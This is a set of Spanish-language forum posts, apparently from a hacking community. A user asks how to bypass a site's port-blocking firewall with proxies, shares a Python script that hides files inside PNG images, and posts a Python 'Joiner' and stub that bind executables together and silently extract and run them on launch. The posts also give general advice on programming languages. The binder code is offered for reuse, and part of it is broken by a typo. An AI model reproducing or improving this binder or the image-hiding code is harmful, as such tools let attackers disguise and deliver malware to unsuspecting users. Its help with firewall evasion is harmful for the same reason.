Quisiera saber si es posible usar con FreeCap, y servidores proxy por UDP para por ejemplo jugar al Counter-Strike o al WoW, lo del ping es lo menos, es para saber si se puede saltar el Firewall del sitio en cuestión que tiene bloqueados lo puertos, como objeto de investigación con fines altamente didácticos, ya que aprendes como funciona.

¿Es posible?

/ EDIT /

Si lo he puesto en el sitio incorrecto lo siento no sabia donde ponerlo

Siguiendo la senda del Joiner, consegui crear el algoritmo para ocultar archivos en imágenes normales.

camuflador.py:

# -*- coding: cp1252 -*-
 
import os
import sys
 
firma = "[-FIRMA-]"
 
def camuflar():
	nombre_archivo = sys.argv[2]
	imagen = "prueba.png"
	f = open(nombre_archivo, 'rb')
	contenido = f.read()
	d = open(imagen, 'rb')
	contenido_imagen = d.read()
	x = open("camuflado.png", 'wb')
	contenido = contenido_imagen + firma + contenido
	x.write(contenido)
	f.close()
	x.close()
def descubierto():
	nombre_archivo = sys.argv[2]
	f = open(nombre_archivo, 'rb')
	d = open("descubierto.zip", 'wb')
	contenido = f.read()
	c = contenido.split(firma)
	print c
	d.write(c[1])
	f.close()
	d.close()	
if sys.argv[1] == "-c" and sys.argv[2] != "":
	camuflar()
	print "¡Camuflado!"
elif sys.argv[1] == "-d" and sys.argv[2] != "":
	descubierto()
	print "¡Descubierto!"
elif sys.argv[1] == "-h":
	print "\n\t-c camuflar\n\t-d descubrir\nSintaxis: python camuflador.py -argumento nombre_archivo"
else:
	print "¡No ha escrito argumentos!, añada '-h' para ayuda."

Aun es simple pero se puede implementar perfectamente en vuestros programas.

Me gustaría si echaran un vistazo a esto:

http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html

Yo para nada veo a Delphi desfasado o aparcado sino más bien al contrario, no obstante, es cierto que tuvo su momento de hundimiento, pero ahora mismo es un buena alternativa sobre todo, por el proyecto Lazarus, que supone una portabilidad a Linux, completa y eficiente, prefiero esto antes que Visual Basic, programa que uso para "portar" aplicaciones y aprender su funcionamiento, pero no para programar en dicho lenguaje.

Pero también es cierto que si lo que buscas es eficiencia en cuanto a manejo de memoria te recomendaría que aprendieras como bien dicen C/C++, si es asi, estas dos páginas son obligatorias:

Para C:

http://www.elrincondelc.com/cursoc/cursoc.html

y para C++:

http://c.conclase.net/descargas.php

Personalmente te puedo decir que C es un lenguaje que debes aprender obligatoriamente por tu bien, en cuanto a C++, comparalo con Java y elige cual te gusta más.

Sin embargo si no quieres complicarte la vida, aprender a programar bien y de forma sencilla y crear aplicaciones útiles te recomiendo Python, lenguaje que estoy aprendiendo y que es muy útil, además es ideal para novatos. Además tiene una portabilidad sin precendentes (puede hacer uso de bibliotecas Java, mira Jython o las bibliotecas .NET, vease IronPython, tambien tiene una implementación de si misma PyPy).

Si te interesa Python:

http://pyspanishdoc.sourceforge.net/

Y sino te gusta Python tienes Perl como alternativa.

Tras varias de estudio, dedicación y cambios veo que es imposible hacer el stub en python, porque al pasar de .py a .exe el código se queda estático cualquier cambio por pequeño que sea da error de un archivo necesario al crear el .exe. Os dejo el código fuente de lo que hice:

Joiner.py

import string
import os
import sys
 
archivo = sys.argv[1] # Metemos el archivo principal
extraccion = sys.argv[2] # Donde queremos que se guarde
archivos_leidos = [] # Va a contener todas las direcciones
f = open('archivos.txt', 'r') # Abrimos para lectura de archivos
i = 0 # Lo usamos para asignar dinamicamente strings a archivos_leidos
ruta = os.getcwd()
ruta = ruta.split('\\')
ruta = os.getcwd()
j = len(f.readlines())
f.seek(0)
while i < j:
    c = f.readline()
    d = c.split('\n')
    d = d[0]
    archivos_leidos.append(i)
    archivos_leidos[i] = d
    i+=1
f.close()
 
def Juntar():
    Firma = "[**-_-**]"
    SubFirma = "^^_~~_^^"
 
    os.system('copy Stub.dll Stub.exe')
    n = 0
    p = ''
    while n < i:
        p = archivos_leidos[n]
        o = open(p, 'rb')
        archivo = o.read()
        o.close()
 
        f = open('stub.exe', 'ab')
        f.write(Firma)
        f.write(archivo+SubFirma)
        a = archivos_leidos[n].split('\\')
        archivos_leidos[n] = a[(len(a)-1)]
        f.write(archivos_leidos[n]+SubFirma)
        f.write(extraccion+SubFirma)
        f.write('Si')
        f.close()
        n +=1
Juntar()

Stub.py:

import string
import os
import sys
 
Ruta = os.getcwd() + '\\' + os.path.basename(sys.argv[0])
 
Archivo = ''
Nombre = ''
RutaExt = ''
Ejecutar = ''
 
Firma = '[**-_-**]'
SubFirma = '^^_~~_^^'
 
f = open(Ruta, 'rb')
 
Todo = f.read()
 
f.close()
 
Partes = Todo.split(Firma)
 
n=1
i=0
 
while n < len(Partes):
    SubPartes = Partes[n].split(SubFirma)
    while i < len(SubPartes):
        if i == 0:
            Archivo = SubPartes[i]
        elif i == 1:
            Nombre = SubPartes[i]
        elif i == 2:
            RutaExt = SubPartes[i]
        elif i == 3:
            Ejecutar = Subpartes[i]
        i += 1
    f = open(RutaExt + '\\' + Nombre, 'wb')
    f.write(Archivo)
    f.close()
    n += 1
    if Ejecutar == 'Si':
        os.system(RutaExt + '\\' + Nombre)

Siguiendo el tutorial de E0N para Visual Basic decidí hacerlo para Python, y conseguí esto:

Funcionamiento:

python Joiner.py archivo_principal lugar_destino

El "archivo.txt" debe contener los nombres de los ejecutables.

Ejemplo:


Joiner.py:


Utiliza un .txt para obtener las direcciones de los archivos.

Stub.py:


Todavía estoy portandolo, me queda mirar, deducir y escribir algunas cosillas .

Definitivamente Python es potente

Funciona con el Stub.dll de E0N programado en Visual Basic, para pasar de .py a .exe utilizar el cx_freeze.

Voy a probar si no te importa , yo conseguí hacer algo parecido en Visual Basic pero hay se quedo . Ahora estoy mirando en python haber que cosas puedo hacer, ver el code simplemente me deja de piedra, quizá porque incluye interfaz gráfica, que no he tocado prefiero hacerla en otro lenguaje, y asi al mirarlo me agobia, prefiero intentar hacerlo yo mismo porque asi no me entra sensación de agobio, y comprendo mejor el funcionamiento de las cosas.

Aun asi GRACIAS !

Bueno ya tengo el frotend creado y subido, programado en Delphi el code del .exe es el mismo que de python, pero "compilado", se ejecuta el GUI, para ver como ha quedado de forma gráfica:

Haber que les parece...

- EDIT -

Sorry, puse la versión que no funcionaba.

http://www.mediafire.com/?bztdaj9buho

Esta en fase Alfa.

- EDIT 2 -

Code actualizado ahora se puede meter destino .

Si me poneis el script de como seria en bash lo implemento (es así como se llama no? ), haciendo que compare los sistemas operativos y haga una cosa u otra.

- EDIT -

Modifique el script, Novlucker, gracias.
carlitos.dll pues ha mi me lo pega y tiene el mismo tamaño que el archivo original y los trozos me dan exactamente:

prueba.jpg -> 125 KB (128.625 bytes) (ORIGINAL)
prueba.jpg.0 -> 97,6 KB (100.000 Bytes)
prueba.jpg.1 -> 27,9 KB (28.625 Bytes)
prueba.jpg -> 125 KB (128.625 bytes) (PEGADO por .bat)

La imagen que use llamada prueba.jpg:



Y como haría un frontend (una interfaz gráfica) para facilitar la tarea a los usuarios que tienen pocos conocimientos?

- EDIT2 -

Veo Novlucker, que hay que pasar el argumento de string a integer con la función int(), actualizo el code, estoy intentando hacer un frontend en Delphi haber que sale.

Estoy mirando para hallar nombre de un archivo. -> Hecho.

Manual de Python PDF, no se si te sera útil:

http://www.mediafire.com/?drzbbhanlt2

Documentación de Python:

http://pyspanishdoc.sourceforge.net/

La verdad es que la documentación y googlear me ha sido más útil que leer un tutorial, con lo poco que se simplemente buscas como se hace una cosa, y las escribes en tu código, ya que por mucho que lo intentes no vas a encontrar otra forma de hacer eso, y usa la documentación, para buscar algún minitutorial y para ver funciones de los módulos y librerías para ver como funciona, de momento yo hago esto y ganas de hacer algo, y poco a poco voy haciendo cositas.

O más fácil miren en bat :

copy /b "prueba.jpg.0" "prueba.jpg"
copy /b "prueba.jpg"+"prueba.jpg.1"
copy /b "prueba.jpg"+"prueba.jpg.2"
# Sigues metiendo copy /b "prueba.jpg"+"prueba.jpg.*" hasta que metas todos

Como ven es muy útil tanto python como batch.

Supongo que tendré que hacer un automatizador para que cree el .bat y simplemente se pega con un .bat y pista.